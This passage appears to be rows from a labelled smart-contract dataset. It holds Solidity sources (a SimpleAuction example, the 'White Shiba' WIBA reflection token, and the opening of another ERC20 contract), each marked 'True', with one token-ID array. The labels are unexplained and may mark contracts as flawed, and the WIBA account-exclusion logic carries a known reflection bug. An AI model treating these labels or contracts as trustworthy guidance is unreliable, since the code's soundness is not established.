tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }	True	[ 101, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 16798, 2475, 1011, 5840, 1011, 2403, 1008, 1013, 1013, 1013, 23772, 2595, 1011, 6105, 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pragma solidity ^0.4.11; contract SimpleAuction { // Parameters of the auction. Times are either // absolute unix timestamps (seconds since 1970-01-01) // or time periods in seconds. address public beneficiary; uint public auctionStart; uint public biddingTime; // Current state of the auction. address public highestBidder; uint public highestBid; // Allowed withdrawals of previous bids mapping(address => uint) pendingReturns; // Set to true at the end, disallows any change bool ended; // Events that will be fired on changes. event HighestBidIncreased(address bidder, uint amount); event AuctionEnded(address winner, uint amount); // The following is a so-called natspec comment, // recognizable by the three slashes. // It will be shown when the user is asked to // confirm a transaction. /// Create a simple auction with `_biddingTime` /// seconds bidding time on behalf of the /// beneficiary address `_beneficiary`. function SimpleAuction() { beneficiary = 0xc2752751E6B91736d5a2e8E31336DC7C7220e8FC; auctionStart = now; biddingTime = 600; } /// Bid on the auction with the value sent /// together with this transaction. /// The value will only be refunded if the /// auction is not won. function bid() payable { // No arguments are necessary, all // information is already part of // the transaction. The keyword payable // is required for the function to // be able to receive Ether. // Revert the call if the bidding // period is over. require(now <= (auctionStart + biddingTime)); // If the bid is not higher, send the // money back. require(msg.value > highestBid); if (highestBidder != 0) { // Sending back the money by simply using // highestBidder.send(highestBid) is a security risk // because it can be prevented by the caller by e.g. // raising the call stack to 1023. It is always safer // to let the recipients withdraw their money themselves. pendingReturns[highestBidder] += highestBid; } highestBidder = msg.sender; highestBid = msg.value; HighestBidIncreased(msg.sender, msg.value); } /// Withdraw a bid that was overbid. function withdraw() returns (bool) { uint amount = pendingReturns[msg.sender]; if (amount > 0) { // It is important to set this to zero because the recipient // can call this function again as part of the receiving call // before `send` returns. pendingReturns[msg.sender] = 0; if (!msg.sender.send(amount)) { // No need to call throw here, just reset the amount owing pendingReturns[msg.sender] = amount; return false; } } return true; } // Users want to know when the auction ends, seconds from 1970-01-01 function auctionEndTime() constant returns (uint256) { return auctionStart + biddingTime; } /// End the auction and send the highest bid /// to the beneficiary. function auctionEnd() { // It is a good guideline to structure functions that interact // with other contracts (i.e. they call functions or send Ether) // into three phases: // 1. checking conditions // 2. performing actions (potentially changing conditions) // 3. interacting with other contracts // If these phases are mixed up, the other contract could call // back into the current contract and modify the state or cause // effects (ether payout) to be performed multiple times. // If functions called internally include interaction with external // contracts, they also have to be considered interaction with // external contracts. // 1. Conditions require(now >= (auctionStart + biddingTime)); // auction did not yet end require(!ended); // this function has already been called // 2. Effects ended = true; AuctionEnded(highestBidder, highestBid); // 3. Interaction beneficiary.transfer(highestBid); } }

True

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/** *Submitted for verification at Etherscan.io on 2021-04-21 */ // SPDX-License-Identifier: Unlicensed // WIBA, For the ones who missed Black Shiba pragma solidity ^0.8.0; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract WIBA is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcluded; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 100000000 * 10**6 * 10**18; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private _name = 'White Shiba'; string private _symbol = 'WIBA'; uint8 private _decimals = 18; constructor () public { _rOwned[_msgSender()] = _rTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function isExcluded(address account) public view returns (bool) { return _isExcluded[account]; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function reflect(uint256 tAmount) public { address sender = _msgSender(); require(!_isExcluded[sender], "Excluded addresses cannot call this function"); (uint256 rAmount,,,,) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tFeeTotal = _tFeeTotal.add(tAmount); } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,) = _getValues(tAmount); return rAmount; } else { (,uint256 rTransferAmount,,,) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeAccount(address account) external onlyOwner() { require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeAccount(address account) external onlyOwner() { require(_isExcluded[account], "Account is already excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address sender, address recipient, uint256 amount) private { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee); } function _getTValues(uint256 tAmount) private view returns (uint256, uint256) { uint256 tFee; if(_tTotal >= 30000000 * (10**6) * (10**18)) { tFee = tAmount.div(100).mul(5); } else { tFee = 0; } uint256 tTransferAmount = tAmount.sub(tFee); return (tTransferAmount, tFee); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } uint256 public rSupply; uint256 public tSupply; function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }

True

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/** *Submitted for verification at Etherscan.io on 2021-08-06 */ pragma solidity ^0.6.6; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. * * _Available since v2.4.0._ */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor () internal { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see {ERC20Detailed}. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions 